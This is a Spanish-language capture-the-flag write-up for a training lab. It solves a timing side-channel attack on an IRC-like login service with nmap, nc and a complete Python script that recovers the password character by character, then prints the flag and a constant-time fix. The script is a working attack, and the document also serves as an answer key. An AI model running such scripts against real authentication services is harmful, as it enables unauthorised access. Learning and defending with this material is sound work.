GhostLabs Logo

GhostLabs

red team operations :: offensive security
TIMING ATTACK — Write-up
⚠ SPOILER — Lee esto solo después de intentar resolver el lab.
Dificultad
Media (3 pts)
Servicio
IRC/TCP — puerto 7000
Acceso inicial
Sin credenciales
Vectores
Timing attack → password → FLAG
Herramientas
nmap, nc, Python3
Flag
GhostLabs{t1m1ng_1s_3v3ryth1ng}

Objetivo

Explotar una vulnerabilidad de timing en la autenticación de un servidor IRC para descubrir la contraseña carácter a carácter y obtener la flag.

¿Qué es un Timing Attack?

Un timing attack es un ataque de canal lateral (side-channel attack) que explota las diferencias en el tiempo de ejecución de un programa para extraer información secreta.

El escenario clásico ocurre en comparaciones de contraseñas implementadas con un bucle que sale en cuanto encuentra el primer carácter incorrecto:

# Código VULNERABLE
def check(attempt, secret):
    for a, b in zip(attempt, secret):
        if a != b:
            return False   # Sale al primer error
    return attempt == secret

Si la contraseña es secret y pruebas xecret, el bucle falla en el primer carácter y sale inmediatamente. Si pruebas secret, compara los 6 caracteres antes de decidir → tarda más. Esa diferencia de tiempo es la que explotamos.

En este lab el delay está amplificado artificialmente (0.5s) para que sea claramente medible, pero el principio es idéntico al de vulnerabilidades reales como Lucky13 (TLS MAC timing) o timing leaks en tokens HMAC.

Flujo de ataque

•nmap → descubrir IRC (puerto 7000)
↓
•nc <LAB_IP> 7000 → banner + comandos disponibles
↓
•AUTH a → ~0.5s → FAILED   /   AUTH s → ~0ms → FAILED (primer carácter correcto)
↓
•Escribir script Python de timing attack (~20 líneas)
↓
•Script descubre: s → s1 → s1d → ... → s1d3ch4n
↓
•AUTH s1d3ch4n → SUCCESS → FLAG → GhostLabs{t1m1ng_1s_3v3ryth1ng}

Paso 1 — Reconocimiento

1
nmap — descubrir el servicio IRC

Comenzamos con un escaneo de puertos para descubrir qué servicios están expuestos:

nmap -sV -p 7000 <LAB_IP>

Resultado esperado:

PORT     STATE SERVICE VERSION
7000/tcp open  irc     GhostLabs IRC 2.11.2p1

El puerto 7000/TCP expone un servidor IRC. No se requieren credenciales previas para conectar.

Paso 2 — Exploración manual del servicio

2
nc — conectar y leer el banner IRC

Usamos nc para conectar directamente al servidor:

nc <LAB_IP> 7000

El servidor responde con un banner IRC-like:

:ghostlabs.irc 001 guest :Welcome to GhostLabs IRC Network
:ghostlabs.irc 002 guest :Your host is ghostlabs.irc, running version 2.11.2p1
:ghostlabs.irc NOTICE AUTH :*** This channel requires authentication
:ghostlabs.irc NOTICE INFO :Commands: AUTH <password>, FLAG, QUIT

Probamos los comandos disponibles:

FLAG
:ghostlabs.irc NOTICE FLAG :*** Not authenticated. Use AUTH <password> first.

AUTH test
:ghostlabs.irc NOTICE AUTH :*** Authentication failed
El servidor nos indica que necesitamos autenticarnos con AUTH antes de usar FLAG. El objetivo es descubrir la contraseña correcta.

Paso 3 — Entendiendo la vulnerabilidad de timing

3
La comparación vulnerable carácter a carácter

El servidor compara la contraseña carácter a carácter y aplica un delay de 0.5s en cuanto encuentra un carácter incorrecto. Esto filtra información sobre cuántos caracteres son correctos:

IntentoProceso en el servidorTiempoSignificado
AUTH acompara 'a' vs 's' → ERROR → sleep(0.5)~0.5s1er carácter incorrecto
AUTH scompara 's' vs 's' → OK, longitud != 8 → FAILED sin sleep~0ms1er carácter CORRECTO
AUTH saOK, compara 'a' vs '1' → ERROR → sleep(0.5)~0.5s2o carácter incorrecto
AUTH s1OK, OK, longitud != 8 → FAILED sin sleep~0ms2 primeros carácteres CORRECTOS
AUTH s1d3ch4ntodos OK + longitud = 8 → SUCCESS~0msContraseña completa

Regla: respuesta rápida (<0.25s) → todos los caracteres probados son correctos. Respuesta lenta (≥0.5s) → hay un carácter incorrecto.

Verificación manual con Python interactivo:

python3
>>> import socket, time
>>> def try_auth(host, port, password):
...     with socket.socket() as s:
...         s.connect((host, port))
...         s.recv(1024)
...         s.sendall(f"AUTH {password}
".encode())
...         t0 = time.time()
...         s.recv(1024)
...         return time.time() - t0
...
>>> try_auth("<LAB_IP>", 7000, "a")
0.5021...    # lento → incorrecto
>>> try_auth("<LAB_IP>", 7000, "s")
0.0008...    # rápido → CORRECTO

Paso 4 — Script de Timing Attack

4
Automatizar la extracción carácter a carácter

Con la mecánica clara, automatizamos el proceso. El script prueba cada posición con todos los caracteres del charset y detecta cuál provoca una respuesta rápida:

#!/usr/bin/env python3
import socket, time

# --- IMPORTANTE: Cambia esto por la IP que te dé el laboratorio ---
HOST      = "172.17.0.2" 
PORT      = 7000
CHARSET   = "abcdefghijklmnopqrstuvwxyz0123456789"
THRESHOLD = 0.25   # Tiempo límite para decidir si es correcto

def try_auth(password):
    try:
        with socket.socket() as s:
            s.settimeout(2) # Evita que el script se quede colgado
            s.connect((HOST, PORT))
            s.recv(1024) # Descartar banner inicial
            
            # El error estaba en la siguiente línea (debe estar en una sola)
            s.sendall(f"AUTH {password}\n\n".encode())
            
            t0 = time.time()
            s.recv(1024)
            return time.time() - t0
    except Exception as e:
        return 1.0 # Si falla la conexión, devolvemos un tiempo alto

def attack():
    known = ""
    # El lab suele pedir 8 caracteres
    while len(known) < 8:
        print(f"[*] Posición {len(known)+1}/8 ...")
        for c in CHARSET:
            elapsed = try_auth(known + c)
            # En este lab, si es RÁPIDO (< THRESHOLD), es que el caracter es correcto
            if elapsed < THRESHOLD:
                known += c
                print(f"[+] '{c}' correcto  ->  password: '{known}'")
                break
    return known

print("[*] Iniciando ataque de tiempo...")
password = attack()
print(f"\n[+] Contraseña encontrada: {password}")

# Intentar obtener la flag con la contraseña final
print("[*] Solicitando FLAG...")
with socket.socket() as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    s.sendall(f"AUTH {password}\n\n".encode())
    print(s.recv(1024).decode().strip())
    s.sendall(b"FLAG\n\n")
    print(s.recv(1024).decode().strip())

Desglose línea a línea:

FragmentoExplicación
CHARSETCaracteres a probar — minuscúsculas + dígitos (36 posibilidades por posición)
THRESHOLD = 0.25Si la respuesta tarda menos de 0.25s → carácter correcto. Con 0.5s de delay y RTT <5ms en Docker local, el margen es amplio
s.recv(1024) (banner)Descarta el banner IRC antes de medir — si no, el tiempo incluiría la recepción del banner
t0 = time.time()Mide desde el envío de la solicitud AUTH
s.recv(1024) (respuesta)Bloquea hasta recibir la respuesta; en este punto calculamos el tiempo transcurrido
if elapsed < THRESHOLDDetecta respuesta rápida = carácter correcto en esa posición
known += c + breakAñade el carácter confirmado y pasa a la siguiente posición

Output esperado:

[*] Posición 1/8 ...
[+] 's' correcto  →  password hasta ahora: 's'
[*] Posición 2/8 ...
[+] '1' correcto  →  password hasta ahora: 's1'
[*] Posición 3/8 ...
[+] 'd' correcto  →  password hasta ahora: 's1d'
[*] Posición 4/8 ...
[+] '3' correcto  →  password hasta ahora: 's1d3'
[*] Posición 5/8 ...
[+] 'c' correcto  →  password hasta ahora: 's1d3c'
[*] Posición 6/8 ...
[+] 'h' correcto  →  password hasta ahora: 's1d3ch'
[*] Posición 7/8 ...
[+] '4' correcto  →  password hasta ahora: 's1d3ch4'
[*] Posición 8/8 ...
[+] 'n' correcto  →  password hasta ahora: 's1d3ch4n'

[+] Contraseña encontrada: s1d3ch4n
La contraseña s1d3ch4n es "side channel" en leet speak, haciendo referencia directa al tipo de ataque que acabas de ejecutar.

Paso 5 — Obtener la flag

5
AUTH s1d3ch4n → FLAG

Con la contraseña descubierta (s1d3ch4n) nos autenticamos y solicitamos la flag:

nc <LAB_IP> 7000
AUTH s1d3ch4n
:ghostlabs.irc NOTICE AUTH :*** Authentication successful
FLAG
:ghostlabs.irc NOTICE FLAG :GhostLabs{t1m1ng_1s_3v3ryth1ng}
🏁 Flag
GhostLabs{t1m1ng_1s_3v3ryth1ng}

Remediación

El problema es la comparación en tiempo NO constante: el bucle sale al primer error, por lo que el tiempo de respuesta varía con el número de caracteres correctos. La solución es usar una comparación en tiempo constante que siempre procese todos los bytes independientemente de dónde esté el primer error:

# VULNERABLE — sale al primer error (tiempo variable)
def check_bad(attempt, secret):
    for a, b in zip(attempt, secret):
        if a != b:
            return False
    return attempt == secret

# SEGURO — tiempo constante, no filtra información
import hmac
def check_good(attempt, secret):
    return hmac.compare_digest(attempt.encode(), secret.encode())

hmac.compare_digest() usa XOR acumulativo sobre todos los bytes. El resultado es correcto pero el tiempo de ejecución no varía con el número de caracteres coincidentes.

Recursos